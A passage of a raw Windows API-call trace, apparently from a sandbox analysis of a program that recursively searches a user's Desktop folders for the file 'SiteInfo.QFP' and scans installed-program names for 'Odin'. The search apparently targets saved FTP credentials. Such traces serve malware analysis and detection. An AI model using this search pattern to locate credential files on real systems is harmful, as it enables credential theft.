lpString2="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms" [0071.142] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\*.*") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\*.*" [0071.142] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\*.*", lpFindFileData=0x12fa96 | out: lpFindFileData=0x12fa96) returned 0x642728 [0071.142] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.142] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12fa96 | out: lpFindFileData=0x12fa96) returned 1 [0071.142] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.142] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.142] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12fa96 | out: lpFindFileData=0x12fa96) returned 1 [0071.142] StrStrIA (lpFirst="2vA_V4.mkv", lpSrch="SiteInfo.QFP") returned 0x0 [0071.142] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12fa96 | out: lpFindFileData=0x12fa96) returned 1 [0071.142] lstrcmpiA (lpString1=".", lpString2="2xEHXY-aE2j") returned -1 [0071.142] lstrcmpiA (lpString1="..", lpString2="2xEHXY-aE2j") returned -1 [0071.142] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms") returned 49 [0071.142] lstrlenA (lpString="\\") returned 1 [0071.142] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643c28 [0071.142] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms" [0071.142] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\" [0071.142] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\") returned 50 [0071.142] lstrlenA (lpString="2xEHXY-aE2j") returned 11 [0071.142] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x65d330 [0071.142] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\" [0071.142] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\", lpString2="2xEHXY-aE2j" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j" [0071.142] LocalFree (hMem=0x643c28) returned 0x0 [0071.142] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j") returned 61 [0071.142] lstrlenA (lpString="\\*.*") returned 4 [0071.142] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x65d670 [0071.143] lstrcpyA (in: lpString1=0x65d670, lpString2="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j" [0071.143] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\*.*") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\*.*" [0071.143] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\*.*", lpFindFileData=0x12f92a | out: lpFindFileData=0x12f92a) returned 0x642768 [0071.143] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.143] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f92a | out: lpFindFileData=0x12f92a) returned 1 [0071.143] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.143] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.143] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f92a | out: lpFindFileData=0x12f92a) returned 1 [0071.143] StrStrIA (lpFirst="2jVuctC e- NA.pptx", lpSrch="SiteInfo.QFP") returned 0x0 [0071.143] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f92a | out: lpFindFileData=0x12f92a) returned 1 [0071.143] StrStrIA (lpFirst="84RpuJ.bmp", lpSrch="SiteInfo.QFP") returned 0x0 [0071.143] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f92a | out: lpFindFileData=0x12f92a) returned 1 [0071.143] StrStrIA (lpFirst="DgDc82LAZg.wav", lpSrch="SiteInfo.QFP") returned 0x0 [0071.143] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f92a | out: lpFindFileData=0x12f92a) returned 1 [0071.143] lstrcmpiA (lpString1=".", lpString2="J gWRKyGeJYVnq0tdMb") returned -1 [0071.143] lstrcmpiA (lpString1="..", lpString2="J gWRKyGeJYVnq0tdMb") returned -1 [0071.143] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j") returned 61 [0071.143] lstrlenA (lpString="\\") returned 1 [0071.143] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x65d740 [0071.143] lstrcpyA (in: lpString1=0x65d740, lpString2="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j" [0071.143] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\" [0071.143] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\") returned 62 [0071.143] lstrlenA (lpString="J gWRKyGeJYVnq0tdMb") returned 19 [0071.143] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x65b348 [0071.143] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\" [0071.143] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\", lpString2="J gWRKyGeJYVnq0tdMb" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\J gWRKyGeJYVnq0tdMb") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\J gWRKyGeJYVnq0tdMb" [0071.143] LocalFree (hMem=0x65d740) returned 0x0 [0071.143] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\J gWRKyGeJYVnq0tdMb") returned 81 [0071.143] lstrlenA (lpString="\\*.*") returned 4 [0071.143] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x65b428 [0071.143] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\J gWRKyGeJYVnq0tdMb" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\J gWRKyGeJYVnq0tdMb") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\J gWRKyGeJYVnq0tdMb" [0071.143] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\J gWRKyGeJYVnq0tdMb", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\J gWRKyGeJYVnq0tdMb\\*.*") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\J gWRKyGeJYVnq0tdMb\\*.*" [0071.143] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\cJApU0d7_RSkgxX-ms\\2xEHXY-aE2j\\J gWRKyGeJYVnq0tdMb\\*.*", lpFindFileData=0x12f7be | out: lpFindFileData=0x12f7be) returned 0x6427a8 [0071.143] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.143] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f7be | out: lpFindFileData=0x12f7be) returned 1 [0071.143] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.143] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.143] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f7be | out: lpFindFileData=0x12f7be) returned 1 [0071.143] StrStrIA (lpFirst="d14HDdiXVfd.bmp", lpSrch="SiteInfo.QFP") returned 0x0 [0071.144] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f7be | out: lpFindFileData=0x12f7be) returned 1 [0071.144] StrStrIA (lpFirst="ekzz.m4a", lpSrch="SiteInfo.QFP") returned 0x0 [0071.144] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f7be | out: lpFindFileData=0x12f7be) returned 0 [0071.144] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0071.144] LocalFree (hMem=0x65b428) returned 0x0 [0071.144] LocalFree (hMem=0x65b348) returned 0x0 [0071.144] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f92a | out: lpFindFileData=0x12f92a) returned 1 [0071.144] StrStrIA (lpFirst="JwoJJE7y2XzHADY.odp", lpSrch="SiteInfo.QFP") returned 0x0 [0071.144] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f92a | out: lpFindFileData=0x12f92a) returned 1 [0071.144] StrStrIA (lpFirst="O4IEcL9OguAxAVsHY9.mkv", lpSrch="SiteInfo.QFP") returned 0x0 [0071.144] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f92a | out: lpFindFileData=0x12f92a) returned 0 [0071.144] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0071.144] LocalFree (hMem=0x65d670) returned 0x0 [0071.144] LocalFree (hMem=0x65d330) returned 0x0 [0071.144] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12fa96 | out: lpFindFileData=0x12fa96) returned 1 [0071.144] StrStrIA (lpFirst="73QB.ppt", lpSrch="SiteInfo.QFP") returned 0x0 [0071.144] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12fa96 | out: lpFindFileData=0x12fa96) returned 1 [0071.144] StrStrIA (lpFirst="hdLUVIm6akZR29NA.jpg", lpSrch="SiteInfo.QFP") returned 0x0 [0071.144] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12fa96 | out: lpFindFileData=0x12fa96) returned 1 [0071.144] StrStrIA (lpFirst="k-nU.pptx", lpSrch="SiteInfo.QFP") returned 0x0 [0071.144] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12fa96 | out: lpFindFileData=0x12fa96) returned 1 [0071.144] StrStrIA (lpFirst="ojw9L.jpg", lpSrch="SiteInfo.QFP") returned 0x0 [0071.144] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12fa96 | out: lpFindFileData=0x12fa96) returned 1 [0071.144] StrStrIA (lpFirst="yiXeuM_FWAGDm6P.bmp", lpSrch="SiteInfo.QFP") returned 0x0 [0071.144] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12fa96 | out: lpFindFileData=0x12fa96) returned 0 [0071.144] FindClose (in: hFindFile=0x642728 | out: hFindFile=0x642728) returned 1 [0071.144] LocalFree (hMem=0x643b68) returned 0x0 [0071.144] LocalFree (hMem=0x643aa8) returned 0x0 [0071.144] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fc02 | out: lpFindFileData=0x12fc02) returned 1 [0071.144] lstrcmpiA (lpString1=".", lpString2="PMsGxPwYz") returned -1 [0071.144] lstrcmpiA (lpString1="..", lpString2="PMsGxPwYz") returned -1 [0071.144] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop\\i2yGz") returned 30 [0071.144] lstrlenA (lpString="\\") returned 1 [0071.144] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x641518 [0071.144] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\Desktop\\i2yGz" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz" [0071.144] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\" [0071.144] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\") returned 31 [0071.144] lstrlenA (lpString="PMsGxPwYz") returned 9 [0071.144] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647440 [0071.144] lstrcpyA (in: lpString1=0x647440, lpString2="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\" [0071.144] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\", lpString2="PMsGxPwYz" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\PMsGxPwYz") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\PMsGxPwYz" [0071.144] LocalFree (hMem=0x641518) returned 0x0 [0071.144] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\PMsGxPwYz") returned 40 [0071.144] lstrlenA (lpString="\\*.*") returned 4 [0071.145] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x6474f8 [0071.145] lstrcpyA (in: lpString1=0x6474f8, lpString2="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\PMsGxPwYz" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\PMsGxPwYz") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\PMsGxPwYz" [0071.145] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\PMsGxPwYz", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\PMsGxPwYz\\*.*") returned="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\PMsGxPwYz\\*.*" [0071.145] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Desktop\\i2yGz\\PMsGxPwYz\\*.*", lpFindFileData=0x12fa96 | out: lpFindFileData=0x12fa96) returned 0x642728 [0071.145] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.145] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12fa96 | out: lpFindFileData=0x12fa96) returned 1 [0071.145] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.145] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.145] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12fa96 | out: lpFindFileData=0x12fa96) returned 0 [0071.145] FindClose (in: hFindFile=0x642728 | out: hFindFile=0x642728) returned 1 [0071.145] LocalFree (hMem=0x6474f8) returned 0x0 [0071.145] LocalFree (hMem=0x647440) returned 0x0 [0071.145] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fc02 | out: lpFindFileData=0x12fc02) returned 1 [0071.145] StrStrIA (lpFirst="tv-CoSXW_-GMrESr.bmp", lpSrch="SiteInfo.QFP") returned 0x0 [0071.145] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fc02 | out: lpFindFileData=0x12fc02) returned 1 [0071.145] StrStrIA (lpFirst="y_UFtjx.bmp", lpSrch="SiteInfo.QFP") returned 0x0 [0071.145] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fc02 | out: lpFindFileData=0x12fc02) returned 0 [0071.145] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0071.145] LocalFree (hMem=0x6292f8) returned 0x0 [0071.145] LocalFree (hMem=0x6415c0) returned 0x0 [0071.145] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.145] StrStrIA (lpFirst="iT F.rtf", lpSrch="SiteInfo.QFP") returned 0x0 [0071.145] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.145] StrStrIA (lpFirst="k61Z8P5gAGRtlElgx.pps", lpSrch="SiteInfo.QFP") returned 0x0 [0071.145] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.145] StrStrIA (lpFirst="mxinL.mp4", lpSrch="SiteInfo.QFP") returned 0x0 [0071.145] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.145] StrStrIA (lpFirst="qJAmdAPMJkr1Diioq.bmp", lpSrch="SiteInfo.QFP") returned 0x0 [0071.145] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.145] StrStrIA (lpFirst="RcoGp9UniT.jpg", lpSrch="SiteInfo.QFP") returned 0x0 [0071.145] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.145] StrStrIA (lpFirst="RoDoh-Z.wav", lpSrch="SiteInfo.QFP") returned 0x0 [0071.145] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.145] StrStrIA (lpFirst="RUmskwBhJoKb.gif", lpSrch="SiteInfo.QFP") returned 0x0 [0071.145] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.145] StrStrIA (lpFirst="RUs vn.png", lpSrch="SiteInfo.QFP") returned 0x0 [0071.145] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.145] StrStrIA (lpFirst="saBIU 9HSB1fdEe.wav", lpSrch="SiteInfo.QFP") returned 0x0 [0071.146] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.146] StrStrIA (lpFirst="sJWf EiU Uap_LQ4 tX.mp3", lpSrch="SiteInfo.QFP") returned 0x0 [0071.146] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.146] StrStrIA (lpFirst="S_Z7Ickdh9-WJJ.pps", lpSrch="SiteInfo.QFP") returned 0x0 [0071.146] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.146] StrStrIA (lpFirst="Ulsc.mp3", lpSrch="SiteInfo.QFP") returned 0x0 [0071.146] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.146] StrStrIA (lpFirst="uMtbRtnIzAhSTohQ.flv", lpSrch="SiteInfo.QFP") returned 0x0 [0071.146] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.146] StrStrIA (lpFirst="xWcPWzp4M.bmp", lpSrch="SiteInfo.QFP") returned 0x0 [0071.146] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.146] StrStrIA (lpFirst="zH1hPQQQTMf8JSeF.ods", lpSrch="SiteInfo.QFP") returned 0x0 [0071.146] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 1 [0071.146] StrStrIA (lpFirst="zoYNEE2QKQOaDz3sqP4S.odp", lpSrch="SiteInfo.QFP") returned 0x0 [0071.146] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fd6e | out: lpFindFileData=0x12fd6e) returned 0 [0071.146] FindClose (in: hFindFile=0x6426a8 | out: hFindFile=0x6426a8) returned 1 [0071.146] LocalFree (hMem=0x65e350) returned 0x0 [0071.146] LocalFree (hMem=0x626a88) returned 0x0 [0071.146] StrStrIA (lpFirst="Adobe Flash Player ActiveXAdobe Flash Player 10 ActiveX", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="Adobe Flash Player PluginAdobe Flash Player 10 Plugin", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="Google ChromeGoogle Chrome", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="Mozilla Firefox 25.0 (x86 en-US)Mozilla Firefox 25.0 (x86 en-US)", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="MozillaMaintenanceServiceMozilla Maintenance Service", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="Office14.PRJPRORMicrosoft Project Professional 2010", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="Office14.PROPLUSRMicrosoft Office Professional Plus 2010", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="Office14.VISIORMicrosoft Visio Professional 2010", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="{26A24AE4-039D-4CA4-87B4-2F83217045FF}Java 7 Update 45", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}Microsoft .NET Framework 4.6", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="{582EA838-9199-3518-A05C-DB09462F68EC}Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="{68306422-7C57-373F-8860-D26CE4BA2A15}Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}Microsoft Visual C++ 2005 Redistributable", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="{90140000-0015-0409-0000-0000000FF1CE}Microsoft Office Access MUI (English) 2010", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="{90140000-0016-0409-0000-0000000FF1CE}Microsoft Office Excel MUI (English) 2010", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="{90140000-0018-0409-0000-0000000FF1CE}Microsoft Office PowerPoint MUI (English) 2010", lpSrch="Odin") returned 0x0 [0071.146] StrStrIA (lpFirst="{90140000-0019-0409-0000-0000000FF1CE}Microsoft Office Publisher MUI (English) 2010", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-001A-0409-0000-0000000FF1CE}Microsoft Office Outlook MUI (English) 2010", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-001B-0409-0000-0000000FF1CE}Microsoft Office Word MUI (English) 2010", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}Microsoft Office Proof (English) 2010", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}Microsoft Office Proof (French) 2010", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}Microsoft Office Proof (Spanish) 2010", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}Microsoft Office Proofing (English) 2010", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA (lpFirst="{90140000-0044-0409-0000-0000000FF1CE}Microsoft Office InfoPath MUI (English) 2010", lpSrch="Odin") returned 0x0 [0071.147] StrStrIA 